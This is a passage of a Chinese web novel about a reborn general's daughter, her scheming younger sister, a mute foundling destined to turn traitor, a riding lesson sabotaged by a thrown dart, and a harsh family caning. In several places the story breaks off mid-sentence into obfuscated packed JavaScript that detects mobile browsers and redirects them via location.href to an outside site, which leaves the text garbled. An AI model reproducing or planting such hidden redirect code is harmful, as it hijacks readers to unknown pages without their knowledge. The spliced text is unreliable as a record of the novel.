那是,裴沾雪的眼神。 是他,是裴沾雪回来了,浮华国新帝,裴沾雪回来了。 微风吹拂她脸边的长发,荡在二人之间,徐明堂愣在原地,像是被点了穴一样,呆呆站在那儿,裴沾雪眸色一冷,眼底翻涌着戾气,持刀向她走来。 一步,两步,她心跳飞快。 下一秒就要相遇, 她眼仁一翻,竟直愣愣在他眼前倒了下去。 * 那夜,徐明堂做了个梦,一个完全不真实的梦,完全不可能发生的梦。她梦见遭歹人袭击,是裴沾雪英雄救美,从歹人手中救下她,后满身是血抱着她站在徐府门口,下人们围住他,可他不会说话,只能跟着一起干着急; 她梦见裴沾雪坐在她身边,双手紧握她,语气恳切,似有真情,猩红眼尾留下一滴泪,“徐明堂,不准死,孤不准你死。” 她还梦见小简哭得梨花带雨,说那日亲眼看见小姐被人虏走,此次定是汀花不顾自身安危救了小姐,梦见顾如霜悉心照料她,这后面两点倒是可预见的,因为她醒来的时候,正巧看见顾如霜在她床前。 “明堂,你终于醒了,可还有哪里不舒服的?”见徐明堂醒了,顾若霜非常紧张的将她扶起来,生怕磕了碰了。 反观徐明堂,她对那记凌厉的眼神历历在目,所以在愣了几秒后的第一句话就是,“裴沾雪呢?” “谁?”顾如霜也跟着一愣。 “就是父亲前些日子在外面捡回来的那个野小子。他去哪儿了?”徐明堂掀开被子,作势要下床,被顾如霜制止,“那日你们二人到底发生何事?” 缄默一瞬,徐明堂简明扼要,“那日我和那野小子被奸人所虏后,”想到什么,她言辞躲闪,最终用美化过的言语说道,“后来我们两个急中生智,才死里逃生。”说着,她又将话题引向心底的疑问,“娘,裴沾雪到底在哪儿?” “裴沾雪?”顾如霜皱了下眉,而后似乎懂了什么,眉头舒展,“你说汀花吧?汀花应该正在房里休息呢。” 徐明堂打断,“他还在徐府是吗?” “……那是当然了,”顾如霜笑,“他一个孤儿现如今不在徐府又能去哪儿呢?” “娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他拖着病躯行礼,被顾如霜制止,“不用了汀花,你救小姐有功,不必如此见外。” 整个过程,徐明堂一言不发看着他,自然,那日凶残的眼神消失了,取而代之是一个无辜的少年郎。 徐明堂上下扫视他,那双眼睛似是想将他里外看个精光,一如他之前那样。可她到底没学会他的算计,更不可能从他身上寻到一丝破绽。 罢了,徐明堂收回视线,小小声叹了口气,左右不过是个失了忆的少年罢了,又能在堂堂徐府掀起什么风浪呢? “明堂,你可有什么想说的?”顾如霜笑眯眯的。 徐明堂看着裴沾雪,毫无情感的说,“谢谢你。救我。” 顾如霜满意的点头,“还有什么想和为娘说的?” “送走丧门星”一事板上钉钉,徐明堂不再多言,长舒一口气,“关于那件事,明堂都听娘的。” 罢了罢了,她宽慰自己,道观也好,一来隶属正道,能铲去裴沾雪的天生邪骨,二来不会和皇族有联系,能阻止裴沾雪堕为佞臣,三来不能接近女色,也就是说,裴沾雪再也不会爱上自己。 一石三鸟。 她想的入迷,也就没注意到,此刻,那个被捡回来的少年正冷冷盯着她,更没注意到,于暗夜中投掷的那一缕小火苗即将窜出火光,蔓延到自己身上。 4. 第 4 章 第四章:重生回幼心下茫然(4) 秉持着“井水不犯河水”的安全法则,徐明堂度过了安稳的一周。这一周,她和裴沾雪连面也没见过一次。不过,她忘了她还有个爱作妖的妹妹。 某日傍晚,徐老爷书房内,徐再琴手背在身后,昂首挺胸,直挺挺向徐伯卿汇报着自己在学堂学到的种种,“……先生近来便教了再琴这些。” 汇报完毕,徐再琴满脸期待,一如既往等着徐伯卿的夸赞,不过这次不一样,天子丢给他一桩不大不小的麻烦事儿——携太子进军营敛敛坏脾气。 南玉国太子,裴晔,比徐明堂虚长几岁,是远近闻名的纨绔,平生最爱是看手足自相残杀,无奈皇后势力做大,不得不扶。听说近来又迷上了巫蛊之术。 他徐伯卿敢拒绝皇命?断是不敢。不过他能将太子这棵歪苗扶正?也不太现实。他能悔婚?更不可能。 头疼啊头疼。 跑神的这会儿功夫,徐再琴已经把自己所能想到的任何可以邀功的事儿全部说了一遍。好巧不巧,偏逢下面这一句。 “爹爹,再琴还教汀花识得了好多字呢!”徐再琴涨红了脸。 徐伯卿没理会,倒是想起一纸婚书,于是张口,“再琴,你去同阿姐说,明日叫她来军营找我。” 这一遭,徐再琴背在身后的手突然拽紧了衣角,冷不丁说出这样一句话,“爹爹既然如此看重阿姐,倒不如叫我同阿姐一道开始教汀花,几月之后,比比看谁教得更好,如何?” 见她面上挂着几分愠色,徐伯卿这才听她所说,虽不懂这丫头为何突然提出这个想法,但仔细考虑后未尝不可,于是,“正好。”徐伯卿一手指再琴,一手指明堂,欣慰的点头,“一个教他文,一个教他武,两全其美。” “是,爹爹。” 这话后来被徐再琴添油加醋传到了徐明堂耳朵里,说是爹爹很喜欢裴沾雪,想将其收入麾下,所以叫徐明堂来教他骑马射箭。 军营中, “咳咳咳。”徐明堂吓得立刻被喉咙里的水噎住,陡然间开始剧烈咳嗽起来。她猛的站起身,身与心都写满大写的抗拒,“父亲,明堂骑马射箭只是略知一二,这教书育人实在是难为明堂了!” “正是因为你才疏学浅,他听起来才更不费力呀。”徐伯卿“啧”了声,“况且骑马射箭也是男儿不可不学的本事。” 胳膊拗不过大腿,身为小辈,她自知言微人轻,扳不回这一城了。况且最重要的是,爹爹的心似乎不在于此,神色凝重,左顾右盼,眼神还时不时朝军营外面瞥。 徐明堂起初不知是何缘由,不过在李校尉带着一个和她年纪相仿的少年进来的时候,她才终于懂了爹爹的打算。 少年懒散立身于李校尉旁,锦袍已更为粗衣,脸庞生得倒是白净,口中叼着根狗尾巴,一双眼滴溜溜乱转,看什么都新鲜,又看什么都嫌弃。 “看什么呢,还不赶快拜见将军。”李校尉还不知晓这少年身份,扬起手来,一巴掌就拍在裴晔脑袋后面,裴晔吃痛的“嘶”了声,瞪着眼睛就想发作,不过想起和父皇的约定,那张想解释的嘴只好悻悻作罢。 裴晔朝徐伯卿鞠躬,不情不愿道,“新丁化十,来投军。” “将军,人已带到,属下先行告退。”李校尉行礼道。 徐明堂一眼认出这是裴晔小时候,同长大后几乎是一比一复刻的。要说这裴晔,和裴沾雪比起来,废是废了点儿,不过胜在心是好的。 还没来得及搭话,下一秒军营又被人撩开,“将军,这位少年已在此等候多时,属下见他不会说话,索性把他捎进来。” “好好好,这下到齐了,”见到裴沾雪,徐伯卿满脸笑容,“明堂,这俩人,日后就是你的徒弟了。” 猝不及防,徐明堂惊叫一声。 徐伯卿面色一沉,朝她使了个眼色。 那眼神似乎在说:“家丑不可外扬,家丑不可外扬。别拒绝,别当众给爹难堪,给爹个面子,回去定好好补偿你。” ……事已至此,她一届女流,年纪还小,又有什么话语权呢? * “这是营里体型最小的两匹马,”徐明堂从厩里出来,一手牵着两匹马,一手来回轻摸它们的脖子,“待会儿我就用这匹最小的教你们,知道吗?” 其实,她也有好久不骑马了,比起从前,技法肯定生疏了些,不过,要教两个毛头小子绰绰有余。 可这两个毛头小子似乎并不待见她这位老师,一个双手撑头,懒洋洋望着天,嘴里叼着的那根狗尾巴草越竖越高,像是要竖到天上去。另外一个呢,只是看她,傻呵呵的笑,根本没半分从前凶狠残暴的模样。 一个不想说话,一个不会说话,没一个人理她。 带着点故意找茬的意思,徐明堂踢了裴沾雪一脚,“喂!你有没有听我说话!徐再琴有没有好好教你识字呀!” 少年这才垂眼,一双好看的眸,紧盯徐明堂的眼睛,温柔的能掐出水来。 徐明堂没再说话,递给裴沾雪一根绳子,又给了裴晔一根,而后自顾自踏上自己那匹马,一跃而上,翻身骑在马背。 她居高临下,冲裴沾雪扬眉,那样的表情似乎是在问他“学会了吗”。 她开始用行为教他,而不用说的。 少年浸在日光里,整个人镀上了一层金,似是转世的仙人,充满神性。裴沾雪看了看掌心,又看看徐明堂,粲然一笑。 眼前人和旧时人重叠在一起,她依稀想起,上一世,他还没成佞臣之时,亦是这般灿烂少年。 徐明堂抿了抿嘴。 裴沾雪学着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491794|202266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的样子,很快也上了马。 她投去一记赞许的眼神,“很好,接下来我们学如何驾驭马。” “你们自己玩这无聊把戏吧,”裴晔大摇大摆朝军营走去,“小爷我还有正经事要办,没工夫陪你们耗着。” 马上少女没理会他,身子前倾,双手持缰绳,双腿收拢,“吁”一声,驰骋于草原。 裴沾雪没有立刻跟上她,停在原地,面色凝重。 她驻足回望,不知少年何意,一只手竖在唇边,冲他大喊,“喂!你怎么不过来啊!” 语毕,她看见裴沾雪猛地一夹马腹,扬鞭而来。 她不知这般矮小的马儿竟能激出这样磅礴的气势,疾驰而来时,扬起漫天飞尘。 说时迟那时快,也正是那个时候,不知何处掷来一支飞镖,命中徐明堂身/下的马儿。 飞镖扔的极准,直中马儿腹部。马儿受了惊,顷刻间失控狂奔起来。 徐明堂一愣,赶忙向后拉缰绳,试图安抚马儿的情绪。 无奈,它已经暴走了,全然不顾小主人的安慰,发了疯似地飞驰。 徐明堂有些慌了,一颗心提到嗓子眼,企图直接从马上跃下去。 就在这时, “小姐小心!”少年飞身上马,环住她的腰。 少年的手指覆在她上面,替她挽住缰绳,见状不对,立刻抱紧她,从马上坠下。 裴沾雪一只手护住她的脑袋,另外一只搂紧她的腰,二人体型差距不小,徐明堂被完完全全笼罩在他身体里。 “扑通”一声,二人滚落在地,裴沾雪以背着地,重重摔下,旧伤未愈又添新伤,怀中抱着的徐明堂惊魂未定,趴在他身上。 呼吸近在咫尺,徐明堂清楚听到他的心跳声。 急促、混乱、声响。 少女的手不知何时已攥紧了他的衣料。两人姿势亲密,他膝抵她大腿内侧,隔着衣料传来丝丝灼热。 少年耳根悄悄染上了红,一字一句笨拙地问,……小姐可有事?” 两次了,她怔怔看着他,他救她两次了,若他重生怎会救她,他可是,可是恨不得将她生吞活剥啊。 这一秒她才终于确定。 裴沾雪没她这么好命。 他没机会重生。 四目相对,时间仿佛被拉长。见她没有起身的意思,他便安静乖巧任她欺身压着,即使伤口已开始往外渗血,他们僵持着,直到裴晔的返回—— “你俩……在干嘛?”裴晔蹲在二人身边,笑的正欢。 徐明堂看看裴晔,又看看裴沾雪,再看看这诡异的姿势,这才如梦初醒般猛地翻身坐起。 心里的余波还没抚平,这时候,裴晔一把将她拽起,搂在怀中,笑的危险,“没搞错的话,你好像是我的未婚妻吧?” 5. 第 5 章 第五章:重生回幼心下茫然(5) 距离一下子被拉得很近,徐明堂甚至能清楚看见对方瞳孔中倒映出的自己,她这样子好不滑稽,蓬头垢面不说,嘴巴里还吃了几根草,掺杂着零星泥土,哪里还有一点儿大家闺秀的模样。她愣住了,不曾料想,原来裴晔离开是去问父亲这桩婚事,薄薄的嘴唇上还沾着细碎的枝叶。且刚想要说些什么,裴沾雪已将她从裴晔怀中拽了出来,她就好像一个玩具,被二人推来抢去。 裴沾雪不仅将徐明堂从裴晔怀中拽出来,搂在自己怀中,还推了裴晔一把,重重将他推在地上,以一种上位者的姿态居高临下。他不像裴晔那样有话直说,他不会说话,无法拼凑出一段完整的句子,只能怒目圆睁,冷冷睨着那个欺负自家小姐的陌生少年。 这一举动反倒惹怒了裴晔,裴晔跌坐在地,双手撑在身后,渗出丝丝血迹。他很不满面前这个哑巴的所作所为,一股脑儿从地上爬起来,朝裴沾雪吐了口唾沫星子,大骂道,“一个蠢奴才而已,胆敢在我面前放肆,你可知我是谁?” 说罢,他就欲上手,想要和裴沾雪扭打在一起。瞬间,裴真雪悄无声息将怀中少女女子藏在身后。不过,这一举动显然多余。因裴晔声音太大,即刻引来了路过的李校尉。 “欸欸,吵什么呢?吵什么呢?”李校尉横在二人之间,像拎鸡仔一样将裴晔拎到一边,“什么情况?” 这太正常不过了,在李校尉眼中,裴晔只不过是今日刚入军营的新丁而已,他没道理向着一个新丁,而不向着徐将军的女儿。 裴晔的脾气也并不美好,小手一指,骄纵任性地说,“那你要问他了。我与小姐两情相悦,是他横插一脚,横刀夺爱。” 还没说到一半,被李校尉强制叫停,“停停停。你听听,你自己听得懂你在说什么吗?” 李校尉又好气又好笑,“这位是将军的女儿,你和小姐两情相悦?笑话。小姐自小便和当朝太子结了娃娃亲,这事儿谁人不知谁人不晓?你一个今日刚入营的新兵蛋子,在说什么胡话,我看你是活儿派的太少,闲的发慌吧?” 裴晔撇嘴,不再说话。 李校尉解决问题的方式简单粗暴,他直接拎住裴晔的一侧耳朵,边提着边往前走,嘴里嘟嘟囔囔道,“将军就是太惯着你了,要我说,就该把你扔到咱们大部队里,干一些脏活累活,跟我走。” 这个时候的裴晔才清楚认识到一个事实:在一个没人知晓他身份的地方,他的威严是最无用处的东西。他一边叫着疼疼疼,一边被校尉拖着走,很快便消失在二人的视线之中。 整个过程中,徐明堂一言不发,顺从的躲在裴沾雪身后,就连她自己也没有意识到自己是那样依赖他的庇护,熟悉他的气味,熟悉到二人的靠近就宛如家常便饭,让她毫无防备。她一动不动,在他身后趴了良久,直到二人走远,意识到姿势不妥,徐明堂慌了神,赶忙推开他,拍拍衣上泥土。 见状,裴沾雪转身回眸,笑了。 纵使他不知道自己看起来比她还要狼狈。 徐明堂瞪眼看他,“你笑什么?” 裴沾雪听不懂她在说什么,但质问的语气还是能明白的。薄唇微张,想说什么,但又不知如何开口,最终只得悻悻然闭了嘴,认认真真听从徐明堂的指示。 徐明堂动作一顿,似是想到什么,抬眼斜看他,“今日之事不许同父亲讲,你听到没有?” 两道眸光对上,垂在身侧的手指僵了两下,裴沾雪抿抿嘴,伸出手指,触上徐明堂的发。 她惊叫一声,将他的手打掉,“你干什么!” 抬眸之时,徐明堂才看见裴沾雪手中拿着几根草。 原来是为她捡掉头发上的脏东西。 徐明堂避开视线,不再看他,重复道,“今日之事,不许同父亲讲!” 说完,也不管对方是否回应,她自顾自一瘸一拐离开。其实她心下门清,这句话的作用不是为了得到裴沾雪的回答,而是为了尽快结束二人独处的尴尬境遇。 裴沾雪静静跟在她后面,也是一瘸一拐。 不过这一次,裴沾雪好像听懂了她的话,微微笑着,“好。” 如她所愿,这温情时刻没能持续太久,被另一位不速之客打断,“阿姐,你就这样想赢我?” 徐再琴已经寻了许久二人的踪迹,最终还是动用了爹爹的名号才成功进入军营。她身着格格不入的华裙,孤身一人站在一处极不显眼的营帐旁边,在目睹三人对局后,方才露真身,笑眯眯的质问,“我和阿姐的赌局,阿姐当时不屑一顾,现在偷领着汀花骑马,是乃何意?我知阿姐‘文’的不行,可难道当真连‘公平竞争’四字都做不到吗” 那日也是巧,徐再琴恰好穿了一袭红裙,确是给枯燥乏味的军营添了抹新,然,在徐明堂眼中,她倒更像一只索命的红衣厉鬼,这厉鬼能忍善嫉,在靠近的瞬间便锁定目标,纤纤玉指以一种极其贪婪且幽暗的方式悄悄攀附在裴沾雪的手腕,似是生怕裴沾雪被旁人抢了去。 她的这些小心思,徐明堂早些年就见识过了,视线幽幽扫过二人纠缠在一起的双手,徐明堂淡淡挑了下眉,嘴角一勾,转身离开,连一个字都没有留下。 她不在乎。 是的,她不在乎。 正因为她的不在乎,让她没能看到,身后,裴沾雪彬彬有礼地朝徐再琴深鞠一躬,然后抽出自己的手,默默跟在徐明堂身后,他像一个尽职尽责的侍卫,一心一意守卫一位公主。哪怕那位公主从头到尾,从生到死,从今生到来世,都没有正眼瞧过他一眼。 * 回府已过饭点,顾如霜在午睡。徐明堂非常幸运地躲过顾无霜的眼皮子,但被小简撞了个正着,好在小简是向着徐明堂的,偷偷拿了些药膏,躲到徐明堂屋内。 “嘶——轻点儿轻点儿,小简姐你下手轻点儿!” 徐府,后院,徐明堂单膝屈起,坐在床边,龇牙咧嘴,叫苦连天。 白皙的膝骨上渗出缕缕鲜红,小简见了,急得像热锅上的蚂蚁,擦药的手亦随之更轻几分,“小姐今日教那小厮马术,可是遇见什么人?不然怎会摔成这样?” 小简满眼心疼,不过,徐明堂却没回答她。 因为小简的话让她想起另外一件事。 是谁呢?马为什么会突然受惊呢? 如果裴沾雪没有跟她一起回来的话,那么,还有谁要害她呢? 她想得入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听到这话,小简简直要惊掉下巴,“小姐,汀花是您的救命恩人,怎么这么想他呢?他若是当真有心害您,那日就不会从地痞流氓手下救下您。” “给他上药!”徐明堂不再解释,只是重复自己的命令。 “是。”小简回答。 冰冰凉凉的手指触上少年的膝骨,裴沾雪一言不发,好像不怕痛一样,似有若无盯着徐明堂的脸发呆。 徐明堂选择无视。 上完了腿上的伤口,小简直起身子,“身上呢?身上有伤吗?” 裴沾雪没说话。 小简伸手就要脱裴沾雪的衣服,指尖触及他肩头的那一秒,徐明堂隐约觉察到裴沾雪的眼神不对劲,想到什么,将药膏截断,徐明堂似笑非笑,“二小姐人美心善,汀花既是她的学生,她不会坐视不理的。” “小简,”徐明堂将药膏合上,完好的递了过来,语速缓慢道,“你送汀花去二小姐房里,让二小姐给他上药。” “这恐怕,”小简面露难色,又拗不过徐明堂,最终接过药膏,“是。” 裴沾雪,我为你挑的新妇,可还满意? 6. 第 6 章 第六章:重生回幼心下茫然(6) 原本,这出好戏徐明堂算得明明白白。 天知地知,徐明堂和小简知。 她算到了徐再琴脸皮薄,定不会声张。 奈何千算万算,没算到徐伯卿会因裴晔的添油加醋而提前回府,更没料到徐伯卿会路过徐再琴的房间。 天公倒是会瞧眼色。东窗事发的那晚,天空下起瓢泼大雨,电闪雷鸣,好不渗人。 徐家祠堂内,徐再琴和裴沾雪双双跪在地上,徐伯卿被气得不轻,紧紧攥住教鞭,连话都说不利索了,“你、你一个女孩子家家,如何能叫男子踏入闺房?爹平日里是怎么教你的?” “还有,你娘亲教你的女戒,你可是全都忘了?”眼瞅着一双女儿都快到嫁人的岁数,徐伯卿痛心疾首。 徐再琴不敢抬头,小小声抽泣道,“爹爹,汀花是我的学生,我待他别无私情,只是见他可怜,这才坏了规矩私自给他上药。”说完,她跪着朝前两步,伸手去拽徐伯卿的衣角。 被徐伯卿打断,“还敢顶嘴!杖责二十!” 届时,所有家眷悉数站在旁边,无一人敢吱声。包括顾如霜。 “不、不要啊!”徐再琴哭着抬头,哀求父亲原谅,“再琴知错了!再琴不敢了!” 可惜徐伯卿没动恻隐,徐明堂倒是动了。 杖责二十?不必想,她那细皮嫩肉的妹妹定是要皮开肉绽的。 她原本只是想让徐再琴和汀花感情升温,没想过让二人遭皮肉之苦。 一人做事一人当,硬着头皮,徐明堂跳出来,跪在徐再琴和汀花旁边,她将头一点一点埋低,直到贴在地上,闷闷的声音才从喉间发出,“爹,所有一切都是明堂的主意,您要怪就怪明堂一人。” 徐明堂紧闭双眼,一股脑儿,“是我一时头脑发昏,想要构陷家妹与奴仆,好让爹爹别那样看重家妹而非我。” 她的语速极快,且不加停顿,于顷刻间将所有信息灌输到在场人的耳中,听完徐明堂的话,徐伯卿坐上主位,脸色沉的不像话,语气先是阴沉,后改为愤慨,“既然想让再琴被我误会,现在又何必跳出来替她洗清冤屈?徐明堂,你不觉得你这个瞎话编得驴唇不对马嘴吗?” 他是真的生气了,两只眼睛瞪得圆圆的,与那两条竖起的眉毛合起来看,怪是吓人,像极了画册里所说的那凶神恶煞的坏人。 徐伯卿不怒自威,徐明堂一时语塞。 微妙的是,这时的徐再琴立刻抓住机会,完成转变,悄然将自己归于受害者的姿态,徐徐从地上站起,一脸苦楚动人,“爹爹,您不要怪阿姐,都怪琴儿不知礼节,您要罚便罚琴儿罢!” 天知道徐再琴有多想把屎盆子直接扣在徐明堂头上,但顾及脸面,徐再琴忍住了,她重拾几分小姐的秀气。 “你们平日里明争暗斗的事,以为我不知道吗?”徐伯卿冷笑着点头,“好!” “好好好,现如今倒是一出好戏!好一出姐妹情深!” “今日我便成全你们!”徐伯卿冲着祠堂外恭候多时的家奴喊,“水洲!进来!给大小姐二小姐和汀花各杖责二十!” 起初,大家都以为老爷在开玩笑,毕竟徐府的掌上明珠,何人敢重责?可当徐伯卿粗暴的将三人拖到长凳上,方才得知徐老爷真的生气了。牵扯到男子,整件事的性质变了。 趴在冰冷的长凳上,徐明堂第一次感受到恐惧。确实,在扮演裴沾雪玩物的那段时日,她过得很不开心,很想逃,但锦衣玉食、华服美衣,裴沾雪样样都没亏待过她。她所体会过的,只有情感的束缚和勒索,没有身体上的苦。 同一时间,徐再琴被吓傻了,被死死摁在凳子上,如一条不听话的鱼儿,一边扑腾,一边大声求饶,“爹爹不要,爹爹不要啊,都是阿姐的错,爹爹不要责罚再琴啊!爹爹您不能这样偏心!不能这样偏心!” 她闹得实在是凶,哭声比板子打下来的声音还大,不知道的还以为是她先受的罚。 一下两下,板如雨点身上落,身为长姐,第一个受罚的是徐明堂。 身/下传来钻心的痛,她咬紧牙关,倔强的不愿吐出一个字一个音,额间早已渗出细密汗珠。 痛, 好痛, 为什么会这样痛? 原来受罚就是这样痛的事情。 剔透的泪珠一颗颗从眼尾滚落,她不想这样的,她控制不住,滚烫的泪水滑落,落于冰冷的长凳上。一滴,两滴。帮她诉说了她的痛。 隐隐约约,恍恍惚惚之间,她听见水洲问,“老爷,小姐好像很不舒服,还要继续吗?” 她还听见徐伯卿近乎冷酷的声音,“继续。” 顾如霜大叫一声,“老爷!明堂再怎么坚强,也只是一个孩子而已,她不可能承受住的!” ”国有国法家有家规。“徐伯卿不予理会,“继续!” 徐明堂身上的虚汗越来越多,感觉身体越来越飘,仿佛置身于空中即将飞走。终于,在打到第十二杖时,她晕厥了。 板悬于空,水洲停手,迟疑的看着徐伯卿,“老爷,小姐她晕过去了。您看……” 徐伯卿缄默一瞬,看着徐再琴和裴沾雪,杀鸡儆猴,“把她给我打醒,整日和姐妹勾心斗角,今日便让她好好长长记性!” “是。”水洲回答。 水洲面色凝重,看着手中举起的板子,陷入迟疑,最终,在徐伯卿的又一次催促下,他一咬牙,狠心闭上眼睛,板子最终还是落了下来。 第十三杖,虽然徐明堂已经看不到了,但是第十三杖是旁人护住了她。 瘦弱单薄的身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491796|202266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一瘸一拐,颇为费力的冲到她身后,少年张开双臂,从身后护住她小小的身躯。 裴沾雪身上的伤已经足够多了,背上的刀伤,膝上的摔伤尔尔,他实在是没有多余的力气再去承受任何一点惩戒了。棍杖砸下,裴沾雪闷哼一声,双膝跪地,死死抱住徐明堂。 漆黑的发丝垂落在脸边,混合着汗液,遮住他半张脸,他低着头,好似半人半鬼的妖物,正与邪并存。 水洲瞪大双眼,难以置信的看着裴沾雪,“你……” 徐伯卿皱了皱眉,“行了,小简,你带明堂下去。” “谢老爷!谢老爷!”小简喜极而泣,趁着徐老爷还没反悔,赶忙背着徐明堂离开。 “再琴和汀花,你们二人,一人杖责十下。”徐伯卿继续说,“水洲,用刑。”徐伯卿朝水洲做了个手势。 “是。” 那时候,所有人的目光都被徐明堂吸引。女孩的下/身绽放出一大片诡异妖艳的血红色。 也就没人能注意到,裴沾雪默默回头,凝视着徐明堂,他缓慢的沉重的喘着粗气,没人能读懂他眸底的情绪。 * 醒来之时,大约过了半天,徐明堂躺在床上,小简相伴左右,哭得像个泪人儿,小简说,老爷让她醒来之后去祠堂跪拜一夜,方才会消气。 她片刻不敢怠慢,不顾伤痛,被人搀扶着早早赶去了祠堂。 徐明堂赶到的时候,徐再琴和汀花已经在里面了,少女的衣裳尚且算干净,少年却是衣衫褴褛、血迹斑斑,近乎惨不忍睹。她才不会知道,徐老爷最后心软了,于是徐再琴一板子都没挨,反而是裴沾雪默默承受二十大板之后,就即刻被拖来了祠堂跪拜。 徐明堂愣了愣,加入跪拜的行列。 “阿姐为何要加害于我?”小简走后,徐再琴立刻发难。 她眼神坚定,看似是在注视列祖亡灵,实则更在意徐明堂的回答。 徐明堂跪在中间,左侧是徐再琴,右侧是汀花。 她冲列祖列宗拜了三拜,又闭目行礼之后,才回答徐再琴的问题,“如果我说,我是想撮合你和汀花,你信吗?” 错开徐明堂的脸,徐再琴看着少年侧脸,缄默一瞬,“不信。” 徐再琴偏开头,重新看向列祖列宗,“阿姐不如承认了吧?” “承认什么?”徐明堂问。 “承认阿姐妒忌我。”徐再琴回答。 “妒忌你什么?”徐明堂拧了下眉。 徐再琴嘴角勾起一抹不易觉察的笑意,她转过头,睨着徐明堂的脸,“这个再琴不知,不过,若不是因为妒忌我身上的某样东西,阿姐肯定不会加害于我。” 还没等徐再琴再说些什么,“噗通”一声,裴沾雪已然侧身着地,重重倒了下去,口中呢喃只有二字——明堂。 7. 第 7 章 第七章:重生回幼心下茫然(7) 夜半, 西厢客房内,轻纱幔帐间。 少年平躺在美人塌上,长睫毛下,双目紧闭。 裴沾雪这一倒,倒甚是难料,毕竟挨打之时,他眼神坚毅,一声不吭,像极小人书里那不怕疼的神仙。 祠堂跪拜,两姐妹亦没料到那不怕苦不怕痛的小神仙竟会一头栽在地上,头破血流,再无醒来的迹象。 这一遭可吓坏了两个姑娘,于是乎,也顾不得爹爹生不生气了,忙不迭敲响家奴的门,遣水洲把裴沾雪背到了最近的厢房。 一时间,众人围聚,叽叽喳喳,未经人事的少女总提到“死”这个字眼,顾如霜听了心中不适,便擅自取消跪罚,叫二位小姐各自回屋去了。 窗外,苦楝树上不知名的虫子在鸣,西厢房内独剩顾如霜和徐伯卿守着汀花。 届时,顾如霜坐在床头圆凳上,拂袖擦去汀花额上的汗珠,看都没看徐伯卿一眼,“老爷,他们还都只是孩子。” 她说得婉转,耐不住字里行间隐含一股嗔责之意,“您若实在介意此事,不如听明堂的,早些要汀花去道观。” 徐伯卿听懂了她的弦外之音,眼中有些懊悔。 “妾身知道,君姑当年正是因为不小心越了规矩,后才同不相爱之人结婚生下老爷,可……可他们年纪尚浅,不过幼学,他们能懂些什么呢?”顾如霜看着裴沾雪,好似自言自语。 “本就是个可怜的孩子,这倒好,还不如将他丢在深山老林,说不定还落不到如今这般田地。” “还有,”陡然间,女人的话茬子打开了,索性将自己的不满尽数说出,“妾身一般不干涉老爷教育孩子的方法,但您是否对明堂太过苛刻了?” “昨日,您罚了明堂十二大板,整整十二大板啊!明堂都已经晕了,您竟扬言要将她打醒继续,您是否混淆了,明堂才是您的骨肉!”顾如霜声音越来越大。 “嘘!”徐伯卿竖起一根手指,作“噤声”状,“这话可别被再琴听到了。” “你也知,那丫头本就生性多疑敏感。” 顾如霜挣不予理会,偏开眼道,“这些年来,妾身死守秘密,不是为了看见老爷偏心的!” 逼仄的厢房内,气氛恍然间静了静。 “知道了,我,”徐伯卿一时间不知如何辩驳,惭愧的低下头,“我没有偏心的意思,夫人也知道,明堂这孩子从小到大就缺乏管教,不如再琴那般让人省心,我以为我只是因材施教,没成想……” “那您也要考虑考虑明堂的感受吧!她难道感觉不到您的偏心吗?”顾如霜正在气头上。 见扑不灭夫人头上的火,徐伯卿叹了口气,顺从的道歉道,“我知道了。夫人,对不起。” 顾如霜没理他。 徐伯卿只好使出苦肉计,“夫人,辽东战乱,圣上命我率南军前去赴战,明日启程,我不在家的这段时间,还望夫人照顾好孩子们。” 身为武将,徐伯卿不善言辞,话题抛得生硬不说,任谁瞧了都有回避问题的嫌疑,缄默一瞬,顾如霜将所有关心吞回腹中,淡淡回复一个字,“好。” “还有,”徐伯卿说,“夫人若是想知道我将这孩子留在府中的原因,就且随我来吧。” 入春多雨,寒风刺骨似冰刀。 徐府祠堂内,徐伯卿跪在地上,冲着面前宝剑,拜了又拜。 顾如霜站在一边,帕子轻掩口唇,咳嗽道,“这剑果真那样稀奇?” 说完,徐伯卿动作一停,跪在地上,仰头看剑,看得出神,“当真。” 那是一把绝世黑剑,剑长三尺,剑柄之上镶嵌一枚紫色玉石,剑鞘花纹繁复,隐约之中,透着千丝万缕不详的气息,无论怎样看,都已有千年历史。 徐伯卿不合时宜回想起那日捡到少年的画面,少年嘴角带血,就伫立在这把剑旁。 他叹了口气,而后看向屋外淅沥小雨,一言不发。 也不知他执意将他留在府中,到底是福是祸。 * “明堂,明堂……” 三日后,屏风后传来几声痛苦的低吟。 